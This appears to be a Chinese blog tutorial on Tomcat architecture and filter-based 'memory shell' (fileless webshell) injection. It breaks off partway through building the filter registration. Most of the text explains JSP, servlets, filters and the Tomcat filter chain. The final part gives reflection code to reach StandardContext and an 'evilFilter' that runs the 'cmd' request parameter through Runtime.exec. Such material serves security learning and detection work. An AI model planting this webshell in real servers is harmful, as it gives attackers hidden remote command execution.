Tomcat内存马

浅析tomcat架构以及tomcat内存马

Tomcat内存马

内存马即仅存在于内存中的无文件恶意代码。也就是无文件落地的 webshell 技术

webshell实际上也是一种web服务,那么从创建web服务的角度来看,有下面几种手段和思路:

  • 动态注册 servlet/filter/listener(使用 servlet-api的具体实现)
  • 动态注册 interceptor/controller(使用框架如 spring/struts2)
  • 动态注册使用职责链设计模式的中间件、框架的实现(例如 Tomcat 的 Pipeline & Valve,Grizzly 的 FilterChain & Filter等等)
  • 使用 java agent 技术写入字节码

Tomcat内存马也是经常用的。

基础知识

JSP

在学习内存马之前,先了解一下jsp技术。

JSP全名为Java Server Pages,是一种动态网页开发技术,其根本是一个简化的Serrvlet设计,它是在传统的网页HTML中插入java程序段和JSP标记,从而让形成JSP文件(.jsp),在常见框架中,通常是在tomcat中有所使用,但总的来说jsp现在不是非常常见了。

语法

脚本程序

脚本程序可以包含任意量的Java语句、变量、方法或表达式,语法格式为:

1
<% 代码片段 %>

简单给一个jsp示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
<%
    out.println("成功调用脚本程序");
%>
</body>
</html>
JSP声明

一个声明语句可以声明一个或多个变量、方法,供后面的Java代码使用。在JSP文件中,需要先声明这些变量和方法才能使用它们。

JSP声明的语法格式:

1
<%! declared; %>

等价于下面的XML语句:

1
2
3
<jsp:declaration>   
代码片段
</jsp:declaration>

比如:

1
<%! int i = 0; %> 
JSP表达式

一个JSP表达式中包含的脚本语言表达式,先被转化成String,然后插入到表达式出现的地方。

由于表达式的值会被转化成String,所以可以在一个文本行中使用表达式而不用管它是否是HTML标签。

需要注意的是:表达式元素中可以包含任何Java语言,但是不能用分号来结束表达式。

语法格式:

1
<%= 表达式 %>

等价于下面的XML表达式:

1
<jsp:expression>   表达式</jsp:expression>

示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
<p>
    今天的日期是: <%= (new java.util.Date()).toLocaleString()%>
</p>
</body>
</html>

页面为: image-20240830141645804

所以想要在页面上有回显可以使用脚本程序或者表达式。

JSP注释

JSP注释主要有两个作用:为代码作注释以及将某段代码注释掉。

语法:

1
<%--注释--%>

这样注释内容就不会被发送至浏览器并且不会被编译。

JSP指令

JSP指令用来设置整个JSP页面相关的属性,如网页编码方式和脚本语言。

语法格式如下:

1
<%@ directive attribute="value" %>

指令可以有很多格属性,它们以键值对的形式存在,并用逗号隔开。

JSP中的三种指令标签:

指令 描述
<%@ page .. %> 定义网页依赖属性,比如脚本语言、error页面、缓存需求等等
<%@ include — %> 包含其他文件
<%@ taglib … %> 引入标签库的定义

简单说说include指令,JSP可以通过include指令来包含其他文件。被包含的文件可以是JSP文件、HTML文件或文本文件。包含的文件就好像是该JSP文件的一部分,会被同时编译执行。

include指令的语法格式如下:

1
<%@ include file="文件相对 url 地址" %>

等价的XML语法:

1
<jsp:directive.include file="文件相对 url 地址" />

等可参考:https://www.runoob.com/jsp/jsp-directives.html,还是很有想法的。

JSP隐式对象

JSP隐式对象时JSP容器为每个页面提供的Java对象,开发者可以直接使用它们而不用显示声明。JSP隐式对象也被称为预定义变量,JSP所支持的九大隐式对象:

1
2
3
4
5
6
7
8
9
request:HttpServletRequest接口的实例
response:HttpServletResponse 接口的实例
out:JspWrite类的实例,用于把结果输出至网页上
session:HttpSession类的实例
application:ServletContext类的实例
config:ServletConfig类的实例
pageContext:PageContext类的实例,提供对JSP页面所有对象以及命令空间的访问
page:类似与java中的this关键字
Exception:Exception类的对象,代表发生错误的JSP页面中对应的异常对象

详细说明,比如

  • request对象提供了一系列方法来获取HTTP头信息,cookies,HTTP方法等,服务端需要通过request对象拿到需要的数据,然后做出响应。

常用方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<%
    request.setAttribute("name","fupanc");	//往request对象中存储一个值  key-value的形式
    request.setCharacterEncoding("utf-8");	//设置编码格式

    request.getParameter("");//获取提交的指定参数的值
    request.getParameterNames();//返回请求中所有参数的集合
    request.getParameterValues("");//获取包含指定参数的所有值的数组
    request.getAttributeNames();//获取所有属性名称集合
    request.getAttribute("name");//获取指定属性的属性值,如果不存在返回null
    request.getCharacterEncoding();//获取编码格式
    request.getProtocol();//获取HTTP使用的协议
    request.getServletPath();//获取用户提交信息的页面的路径
    request.getMethod();//获取用户提交的方式(GET/POST 等)
    request.getHeaderNames();//返回所有HTTP头的名称集合
    request.getHeader("");//获取header中指定属性的值
    request.getRemoteAddr();//获取用户的ip地址
    request.getRemoteHost();//获取用户的主机名
    request.getServerName();//获取服务器的名称
    request.getServerPort();//获取服务器端口号
    request.getCookies();//返回客户端所有的Cookie的数组
    request.getSession();//返回request对应的session对象,如果没有,则创建一个
    request.getInputStream();//返回请求的输入流
    request.getContextPath();//返回request URI中指明的上下文路径
    request.getRequestDispatcher("result.jsp").forward(request,response);//请求转发
%>
  • response对象对应着http请求的响应,其封装了响应体的信息,我们可以通过response对象向客户端返回数据。

常用方法:

1
2
3
4
5
6
7
8
9
response.getOutputStream();//返回一个响应二进制的输出流
response.getWrite();//返回可以输出字符的对象
response.sendRedirect("");//页面重定向
response.setContextLength(1000);//设置响应头长度
response.setContentType("text/html; charset=utf-8");//设置响应的MIME类型
response.getCharacterEncoding();//获取编码格式
response.addCookie(new Cookie("",""));//添加Cookie
response.setHeader("Content-Disposition","attachment; filename=fileName");//配置header,表示浏览器已下载的方式打开文件
response.setStatus(200);//设置响应码
  • session对象用来跟踪在各个刻画段请求间的会话。

session主要用于会话跟踪,可以用来共享数据,例如登录的用户信息等等。

一次会话可能包含对此request和response。

常用方法:

1
2
3
4
5
6
7
8
<%
    session.setAttribute("name", "yzq"); 
    session.setAttribute("age", 25);
    session.getCreationTime();//获取创建时间
    session.getId();//获取sessionid
    session.invalidate();//取消session,使session不可用
    session.removeAttribute("name");//移除某个属性
%>
  • out对象用于在response对象中写入内容,有如下方法用来输出:
方法 描述
out.print(data Type dt) 输出Type类型的值
out.println(data Type dt) 输出Type类型的值然后换行
out.flush() 刷新输出流

还有的其他JSP技术参考菜鸟教程的:https://www.runoob.com/jsp/jsp-tutorial.html

Tomcat架构学习

学习Tomcat内存马,自然需要学习Tomcat架构。

Java Web三大件

Java Web三大件:Servlet,Filter,Listener。

当Tomcat的web应用程序 接收到请求的时候,依次会经过 Listener -> Filter -> Servlet

Servlet

Java Servlet 是运行在Web服务器或应用服务器上的小型Java程序,一般是用来处理客户端请求的动态资源。

请求的处理过程
  • 客户端发起一个http请求,比如get类型
  • Servlet 容器接收到请求,根据请求信息,封装成 HttpServletRequest 和 HttpServletResponse 对象。
  • Servlet 容器调用 HttpServlet 的 init()方法,init方法只在第一次请求的时候被调用。
  • Servlet 容器调用 service() 方法
  • service() 方法根据请求类型,分别调用doGet或者doPost方法。
  • doXXX方法中是我们可以自定义的业务逻辑。
  • 业务逻辑处理完成之后,返回给Servlet 容器,然后容器将结果返回给客户端。
  • 容器关闭时候,会调用 destory 方法。

以上流程可以用如下图片来说明:

image-20250924135426542

需要注意的是:每次启动tomcat才会初始化Servlet容器,而每次发起一个http请求都会实例化一个Servlet实例(servlet 实例通常只生成一次(或按配置策略生成),然后被容器复用),每次请求时,容器会调用 Servlet 实例的 service() 方法来处理请求,再看是调用后端实现的doGet()还是doPost()等,后端的执行代码会将执行结果再返回给servlet容器,容器再返回给客户端,由此是一个完整的流程。

比如就可以用如下代码来自定义业务逻辑:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import javax.servlet.ServletException;  
import javax.servlet.annotation.WebServlet;  
import javax.servlet.http.HttpServlet;  
import javax.servlet.http.HttpServletRequest;  
import javax.servlet.http.HttpServletResponse;  
import java.io.IOException;  
  
@WebServlet("/TestServlet")  
public class TestServlet extends HttpServlet {  
    @Override  
 protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {  
        response.getWriter().write("hello Drunbaby");  
 }  
  
    @Override  
 protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {  
    }  
}

当GET请求/TestServlet时,tomcat就会根据 URL /TestServlet 找到对应的 Servlet(通过 @WebServlet 注解或 web.xml 配置映射),也就是上面实现的代码,最后可以实现控制response。

servlet 生命周期
  1. 服务器启动时(web.xml 中配置 load-on-startup=1,默认为0)或者第一次请求该servlet时,机会初始化一个 Servlet 对象,也就是会执行初始化方法 init(ServletConfig conf)。
  2. servlet 对象去处理所有客户端请求,在 service(ServletRequest req,ServletResponse res)方法中执行
  3. 服务器关闭时,销毁这个 servlet 对象,执行 destory() 方法。
  4. 由 JVM进行垃圾回收。
Filter

filter 也称为过滤器,是对 Servlet 技术的一个强补充,其主要功能是对web资源进行拦截,做一些处理后再交给下一个过滤器或servlet处理。通常都是用来拦截request进行处理,也可以对返回的response进行拦截处理。

工作原理如图: image-20240830173409155

基本工作原理
  1. Filter 程序是一个实现了特殊接口的Java类,与Servlet 类似,也是由Servlet容器进行调用和执行的
  2. 当在 web.xml 注册了一个Filter 来对某个Servlet程序进行拦截处理时,它可以决定是否将请求继续传递给Servlet 程序,以及对请求和响应消息是否进行修改。
  3. 当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。
  4. 但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 对象是通过 Filter.doFilter 方法的参数传递进来的。
  5. 只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能。
  6. 如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法,则目标 Servlet 的 service 方法不会被执行,这样通过 Filter 就可以阻止某些非法的访问请求。
Filter的生命周期

与 servlet 一样,Filter 的创建和销毁也由 Web 容器负责。Web 应用程序启动时,Web 服务器将创建 Filter 的实例对象,并调用其 init() 方法,读取 web.xml 配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter 对象只会创建一次,init 方法也只会执行一次)。开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。

Filter 对象创建后会驻留在内存,当 Web 应用移除或服务器停止时才销毁,即会执行destroy方法。在 Web 容器卸载 Filter 对象之前被调用。该方法在 Filter 的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。

可以用下代码自定义Filter:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package org.example;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;

@WebFilter("/admin/*")
public class Testfilter implements Filter {

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Testfilter init");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest) servletRequest;
        HttpServletResponse resp = (HttpServletResponse) servletResponse;
        HttpSession session = request.getSession(false);
        if (session == null) {
            resp.sendRedirect(request.getContextPath()+"/login.jsp");
            return;
        }
        String username = session.getAttribute("username").toString();

        if("admin".equals(username)){
            filterChain.doFilter(servletRequest, servletResponse);
        }else{
            resp.sendRedirect(request.getContextPath()+"/login.jsp");
        }
    }

    @Override
    public void destroy() {

    }
}

上述代码实现了当访问/admin路由时,会对身份进行判断从而决定是否放行从而调用到servlet。

Filter链

当多个 Filter 同时存在的时候,组成了Filter链。Web服务器根据Filter 在web.xml文件中的注册顺序,决定先调用哪个 Filter。

当第一个 Filter 的 doFilter 方法被调用时,web服务器会创建一个代表 Filter 链的 FilterChain 对象传递给该方法,通过判断 FilterChain 中是否还有 Filter 决定后面是否还调用 Filter。

如下图:

image-20240830191234784

Listener

Java Web 开发中的监听器(Listener)就是Application、Session 和 Request 三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。

有如下监听器:

  • ServletContextListenner:对Servlet上下文的创建和销毁进行监听
  • ServletContextAttributeListener:监听 Servlet 上下文属性的添加、删除和替换
  • HttpSessionListener:对Session 的创建和销毁进行监听。Session销毁有两种情况,一个是Session 超时,还有一种是通过调用 Session 对象的 invalidate() 方法使 session 失效。
  • HttpSessionAttributeListener:对Session对象中属性的添加、删除和替换进行监听;
  • ServletRequestListener:对请求对象的初始化和销毁进行监听;
  • ServletRequestAttributeListener:对请求对象属性的添加、删除和替换进行监听。

用途: 可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动触发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。

Tomcat架构

Tomcat说明

与Apache服务器对比一下:

  • Apache是web服务器(静态解析,如HTML)
  • tomcat 是java应用服务器(动态解析,如JSP)

Tomcat只是一个 servlet容器,也就是说Servlet是一种技术和规范,而Tomcat是实现了Servlet规范的具体容器。

Apache是可以和Tomcat连通的,Apache可以作为web服务器的前端,也就是当客户端请求的是静态页面,则只需要Apache服务器响应请求,如果是动态的,则是Tomcat响应请求后将解析的JSP代码传回给Apache再传回给前端。

所以tomcat服务器是可以独立运行也可以和Apache连通运行。

Tomcat架构原理

tomcat框架如下所示,主要有server、service、connector、container 四个部分:

image-20240830194749991

核心部件就是Connector和Container。

  • Connector 主要负责进行Socket 通信(基于TCP/IP),用于解析HTTP报文

  • Container 则是处理 Connector 发来的请求,处理内部事务,加载和管理Servlet,由Servlet 具体负责处理 Request 请求。

下面来稍深入学习一下这些组件。

server

即整个Tomcat 服务器,一个tomcat只有一个Server,用于提供具体服务

service

如上图所示,一个Tomcat server可以包含多个service,service主要是关联Connector 和 Container ,同时会初始化它下面的其他组件。

一个 Service 可以设置多个 Connector,但是只能有一个 Container 容器。

Connector

Connector用于连接Service和Container,解析客户端的请求封装成Request对象并转发到Container,以及转发来自Container的响应。每一种不同的Connector都可以处理不同的请求协议,包括HTTP/1.1、HTTP/2、AJP等等。

Container

负责处理用户的Servlet请求,它主要有四种容器,分别是Engine、Host、Context、Wrapper。

它们之间是存在父子关系的。

四种容器的作用:

  • Engine 可以看成是容器对外提供功能的入口,每个Engine是Host的集合,用于管理各个Host,Engine的实现类为 org.apache.catalina.core.StandardEngine
  • Host 可以看成一个虚拟主机,一个Tomcat可以支持多个虚拟主机。而一个虚拟主机下可包含多个 Context,Host的实现类为 org.apache.catalina.core.StandardHost
  • Context 表示一个 Web 应用程序,每一个Context都有唯一的path,一个Web应用可包含多个 Wrapper,Context的实现类为 org.apache.catalina.core.StandardContext
  • Wrapper 表示一个Servlet,负责管理整个 Servlet 的生命周期,包括装载、初始化、资源回收等,Wrapper的实现类为 org.apache.catalina.core.StandardWrapper

用一张图来表示:

image-20240830200930186

Wrapper组件保存了Web应用的配置信息(这样看来其实就是Context就是对应webapps下的不同的应用程序,其实现的功能不同)。

并且结合到java web 三大件来看,在到达Context后,可以说listener和filter存在在context中,而servlet存在于wrapper中。

pipeline/valve

pipeline中文是流水线,每个容器都有自己的pipeline,代表一个完成任务的管道。流水线上面有很多任务,具体任务是什么呢?就是Valve,中文名字是阀。其中Pipeline和Valve都是接口,对于Pipeline有一个标准实现StandardPipeline。对于Valve不同的容器有它自己的实现,比如StandardWrapper容器实现的StandardWrapperValve

image-20240831161515027

内存马学习

Tomcat内存马的核心原理就是动态地将恶意组件添加到正在运行的Tomcat服务器中。

Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上。

Filter 型内存马

在前面我们学习了三大件中的Filter(过滤器),web请求都会经过 filter 之后才会到 Servlet ,并且我们可以通过自定义过滤器来做到对用户的一些请求进行拦截修改等操作。

那么如果我们能动态创建 一个 filter 并且将其放在最前面,我们的filter 就会最先执行,这样只要我们往 filter 中添加恶意代码,就可以进行命令执行

相关类了解

**FilterDefs:**存放FilterrDef的数组,FilterDef 中存储着我们过滤器名,过滤器实例等基本信息。

FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息

FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter

ApplicationFilterChain:调用过滤器链

ApplicationFilterConfig:获取过滤器

ApplicationFilterFactory:组装过滤器链

WebXml:存放 web.xml 中内容的类

ContextConfig:Web应用的上下文配置类

StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper

Filter链 流程分析

环境:

  • Tomcat 9.0.93

先以实例简单看看Filter链的流程: 创建两个文件,内容分别为:

TestFilter.java:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
package filter;

import javax.servlet.*;
import java.io.IOException;
import org.apache.catalina.core.StandardWrapper;


public class TestFilter implements Filter {
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("第一个Filter 初始化创建");
    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("第一个Filter执行过滤操作");
        filterChain.doFilter(servletRequest,servletResponse);
    }

    public void destroy() {
    }
}

TestDemo.java:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
package filter;

import javax.servlet.*;
import java.io.IOException;

public class TestDemo implements Filter {
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("第二个Filter 初始化创建");
    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("第二个Filter执行过滤操作");
        filterChain.doFilter(servletRequest,servletResponse);
    }

    public void destroy() {
    }
}

然后web.xml中添加:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <filter>
        <filter-name>filter</filter-name> <!--名字 -->
        <filter-class>filter.TestFilter</filter-class><!--位置 -->
    </filter>

    <filter-mapping>
        <filter-name>filter</filter-name><!--调用 -->
        <url-pattern>/filter</url-pattern><!--表示访问filter路由的web资源都是被拦截,而/*表示所有的URL都会被拦截 -->
    </filter-mapping>
    
    <filter>
        <filter-name>filter1</filter-name>
        <filter-class>filter.TestDemo</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>filter1</filter-name>
        <url-pattern>/filter</url-pattern>
    </filter-mapping>
    
</web-app>

然后运行tomcat服务器,访问filter路由,成功输出在控制台上:

image-20240831151154581

现在这里就尝试一下调试。

————————————

这里需要导入catalina.jar包来更好看一些,这个包在tomcat的lib目录下,直接在idea里面拉进去即可: image-20240830225911025

然后就可以了。

——————————————

然后我们在TestFilterr.java的filterChain的doFilter打断点,然后开始调试。

开启调试后,再访问一下 /filter 即可成功断上:

image-20240831151501951

看一下这里的参数情况:

image-20240831151520886

可以看到这里有三个filter,这里第一个和第二个filter都是我们自定义的filter,第三个filter是tomcat自带的filter。此时的filterChain为ApplicationFilterChain类实例,所以此时会调用ApplicationFilterChain的doFilter()方法。

单击F7跟进一下这个filterChain的doFilter()方法: image-20240831122140979

这里的if进行了Globals.IS_SECIRITY_ENABLED判断,看是否开启了全局安全服务。

F7进入下一步,没有进入这个if条件,直接到了else内的代码:

image-20240831135609002

然后这里就会调用ApplicationFilterChain的internalDoFilter()方法: image-20240831152021446

看参数,无疑会进入这个if条件,利用代码为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
if (this.pos < this.n) {
            ApplicationFilterConfig filterConfig = this.filters[this.pos++];

            try {
                Filter filter = filterConfig.getFilter();
                if (request.isAsyncSupported() && !filterConfig.getFilterDef().getAsyncSupportedBoolean()) {
                    request.setAttribute("org.apache.catalina.ASYNC_SUPPORTED", Boolean.FALSE);
                }

                if (Globals.IS_SECURITY_ENABLED) {
                    Principal principal = ((HttpServletRequest)request).getUserPrincipal();
                    Object[] args = new Object[]{request, response, this};
                    SecurityUtil.doAsPrivilege("doFilter", filter, classType, args, principal);
                } else {
                    filter.doFilter(request, response, this);
                }

            }

然后就调用了filters变量,这个变量在类中是定义的了,如下:

image-20240831140418342

并且看此时的变量对应情况: image-20240831152332704

和之前一样,有三个过滤器。然后继续看if条件语句里面的利用代码image-20240831152826245

此时pos的值为1,并且这里的pos++是后置的,所以会先获取到filters数组下标为1的filter,然后再+1,所以此时会获取到我们定义的第二个filter。

image-20240831153117022

验证成功。

然后就是调用 getFilter()方法获取到类实例: image-20240831153343451

然后这里的if条件同样不会进入,直接进入else调用TestDemo的doFilter()方法: image-20240831153501006

顺理成章,第二个自定义的TestDemo的doFilter()方法是同样的,然后就会到Tomcat自带的filter,即WsFilter: image-20240831153924890

于是进入到了WsFilter类的doFilter()方法:

image-20240831154325882

这里的if条件没有通过,直接进入else语句: image-20240831154430365

这里的chain类实例为ApplicationFilterChain,又会调用一次doFilter()方法 ==》再调用internalDoFilter()方法,但是此时在这个internalFilter()方法中,前面我们都是满足了这个if条件:

image-20240831155542858

但是这里并没有满足,直接进入else语句,再然后的一步一步的条件判断,最后会调用servlet的service()方法:

image-20240831160128020

也就是说最后一个Filter会调用service()方法来处理web请求。

——————

正向分析filter流程分析结束。

/filter前流程分析

在doFilter() 方法之前,整个流程如图:

image-20240831162123763

。在前面我们时直接分析的访问filter链之后的过程,现在就主要着重于filters是如何被赋值的:

image-20240831163731729

在前面也分析过了,其实这里的filterrConfig可以看作是一个filter,那么我们现在就看一下这个filters是如何赋值的(这个filters即所属ApplicationFilterChain类的变量)。

发现在 StandardWrapperValve 类的invoke方法中有这个定义:

1
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

打断点跟进一下这个ApplicationFilterFactory类的createFilterChain()方法: image-20240831164545082

这里进入到了else语句,然后继续就是赋值filterChain:

image-20240831164839282

(标红的即进入的语句)

可以看到这里确实将filterChain赋值为了 ApplicationFilterChain类的实例。

现在只是一个空的ApplicationFilterChain对象

再往后看,有如下代码:

1
2
StandardContext context = (StandardContext)wrapper.getParent();
            FilterMap[] filterMaps = context.findFilterMaps();

调用getParent()获取当前的Context,也就是当前的应用,然后从Context中获取filterMaps,filtermaps就是web.xml中我们写入的filter

再然后就是遍历这个数组中的值:

image-20240831170716085

重点都标出来了,这里就是遍历filterMap。再来看一下这个for循环具体代码:

image-20240831171951500

如果当前请求的url与FilterMap中的urlPattern匹配,就会调用 findFilterConfig 方法在 filterConfigs 中寻找对应 filterName名称的 FilterConfig,然后如果不为null,就进入else语句,将filterConfig添加到filterChain中,跟进一下这个ApplicationFilterChain类的addFIlter()方法: image-20240831172128811

很明显就是将filter都装进先前定义的ApplicationFilterChain的filters中。

————————

filterChain实例赋值大概就是这样

我们再回到StandardWrapperValve类中,在invoke之后的代码中,有调用filterChain 的 doFIlter() 方法,有两个,调试一下,发现确实会调用其中一个doFIlter()方法:

image-20240831172745244

然后自然就会调用ApplicationFilterChain类的doFIlter()方法,然后调用internalDoFilter()方法,过程在前面的Filter链的也有说。

只不过这里还是有不同的: image-20240831173230857

这里的n就只为1,所以这里获取到的filter直接就是我们前面调用分析时最后的tomcat自带的WsFilter

后面也就是前面分析过了的,简单给给流程: WsFilter#doFilter == > ApplicationFilterChain#doFilter ==> ApplicationFilterChain#internalDoFilter

然后同样调用了service()方法: image-20240831173943681

这里是因为我们访问的是/,在/路由我们没有自定义filter,所以这里就只会调用一次doFilter。

所以如果我们访问/filter路由,就还会进行一次上面的过程,只不过就是我们前面的分析Filter 链的流程。

补充

补充一下前面的createFilterChain()方法中获取context部分的地方,我这里是用上了自定义的两个filter,如下代码:

image-20240831195228597

我们现在来看一下获取到的context的重点内容,加一个断点看一下(这里以我的自定义了两个filter为例):

image-20240831195448827

在这个StandardContext对象中包含了filterConfigs、filterDefs、filterMaps,现在来分别说明一下。

filterConfigs

在StandardContext中的定义为:

image-20240901124501407

点开前面断点情况如下:

image-20240901124421253

是以键值对的形式存储的,有三个,以一个为例:

image-20240831201155348

可以看出filterConfigs包含了当前上下文的信息 StandardContext、filterDef等信息

这里的 filterDef 存放了filter 的定义,包括filterClass、filterName等信息。其实就是web.xml中的 <filter>标签。

filterDefs

它在StandardContext中的定义为: image-20240901124322837

点开如下:

image-20240901124651999

filterDefs是一个HashMap,以键值对的形式存储 filterDef,点开其中一个看看:

image-20240831201641952

filterMaps

filterMaps 中就储存到了很多有用的信息,以array的形式存放了各filter的路径映射信息,其对应的是web.xml中的<filter-mapping>标签:

image-20240831202049163

这里我将自定义的两个filter标出来了。从中可以看出filter顺序是对的,也有一些必要的信息。

————

所以后面的获取filterMaps的代码:

image-20240831202302689

应该就是获取到就是filterMaps。

——————

从上面就可以看出来Context含有filter的必要信息

如何攻击
动态注册Filter

从前面的分析可以知道,只要我们向web.xml中注册一个filter,然后我们将这个filter对应代码设置成恶意代码,就能实现命令注入。

但是在实际环境中是不可能有这种情况的。那么该如何解决呢。

在前面的分析中,我们分析了ApplicationFilterChain的filters的赋值过程,调用了ApplicationFilterFactory类的createFilterChain()方法,其中的filterMaps即为其中重要的一环

既然关键都是filterMaps了,那么这里同样的很关键的变量就是contextimage-20240831210610244

这里就会获取到StandardContext实例。

所以我们可以借用Java反射来修改filterConfigs,filterDefs,filterMaps这三个变量,将我们恶意构造的FIltername以及对应的urlpattern存放到FilterMaps,从而达到内存注入的操作

说明一下动态添加恶意Filter的思路

  1. 获取当前web应用的StandardContext对象
  2. 创建恶意Filter
  3. 使用FilterDef对Filter进行封装,并添加必要的属性
  4. 创建filterMap类,并将路径和Filtername绑定,然后将其添加到filterMaps中
  5. 使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中。
获取StandardContext对象

StandardContext对象主要用来管理Web应用的一些全局资源,如Session、Cookie、Servlet等。因此有很多方法来获取StandardContext对象。

这里要用到ServletContext,简单说明一下ServletContext跟StandardContext的关系:

Tomcat中实现ServletContext接口的有如下三个:

image-20240831212433092

(内表示继承的父类实现了接口但本类没有直接引入接口)

这里重点关注ApplicationContext类和ApplicationContextyFacade类。

在web应用中获取的ServletContext实际上是ApplicationContextFacade对象,对ApplicationContext进行了封装: image-20240831214051758

而ApplicationContext实例中又包含了StandardContext实例:

image-20240831214339678

image-20240831214306688

当我们能直接获取 request 的时候,可以直接将Servlet 转为 StandardContext,从而获取context。

获取context流程如下:

ServletContext -> ApplicationContext:

1
2
3
4
ServletContext servletContext = rerquest.getSession().getServletContext();
Field context0 = servletContext.getClass().getDeclaredField("context");
context0.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)context0.get(servletContext);

这里是为了获取到(ApplicationContext)context,即context变量对应的ApplicationContext类实例。

ApplicationContext -> StandardContext:

1
2
3
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
StandardContext standardContext = (StandardContext)context1.get(applicationContext)

这里是为了获取到(StandardContext)context,所以现在我们就获取到了StandardContext类型的context,和前面createFilterChain()方法中获取到的context变量对应。

创建恶意filter
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
Filter evilFilter = new Filter() {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {

        }
        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            String cmd;

            if ((cmd = servletRequest.getParameter("cmd")) != null) {
                Runtime runtime = Runtime.getRuntime();
                runtime.exec(cmd);
                return;
            }
            filterChain.doFilter(servletRequest,servletResponse);
        }
        @Override
        public void destroy() {

        }
    };
如何封装

既然前面我们获取到了StandardContext型的context,在前面的补充中,也说明这个context变量中很重要的三点:filterConfigs、filterDefs、filterMaps。

所以其实这里的重点就是如何更改这三个变量从而在createFilterChain()方法中获取filterMaps时可以加入恶意的filter。

看StandardContext源码,先说明其中几个方法

addFilterDef()

添加一个filterDef到Context:

image-20240831220924498

这里的filterDefs变量定义: image-20240831221127977

所以就是添加一个键值对进去。

addFilterMapBefore

添加filterMap到所有filter最前面: image-20240831221334165

ApplicationFilterConfig

还有个就是filterConfigs,但是这个不是单纯的一个add…就可以加入,代码如下:

image-20240831222245447

再看一下filterConfigs变量的定义: image-20240831222352219

所以同样是放入键值对。

从代码中可以看出在这里会调用ApplicationFilterrConfig的构造方法: image-20240831222552209

————————————

现在就可以开始尝试构造了:

FilterDef

这个类位于org.apache.tomcat.util.descriptor.web.FilterDef;,我们可以实例化一个FilterDef对象,并将恶意构造的恶意类添加到filterDef中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
//前面创建恶意filter是用的匿名内部类的方式创建的,当然也可以直接public声明一个恶意的filter类,利用方式不同而已。

String name = "badFilter";
FilterDef filterDef = new FilterDef();
//设置filter名称
filterDef.setFilterName(name)
//声明filter类代码源
filterDef.setFilterClass(evilFilter.getClass().getName());
filterDef.setFilter(evilFilter);

//添加filterDef
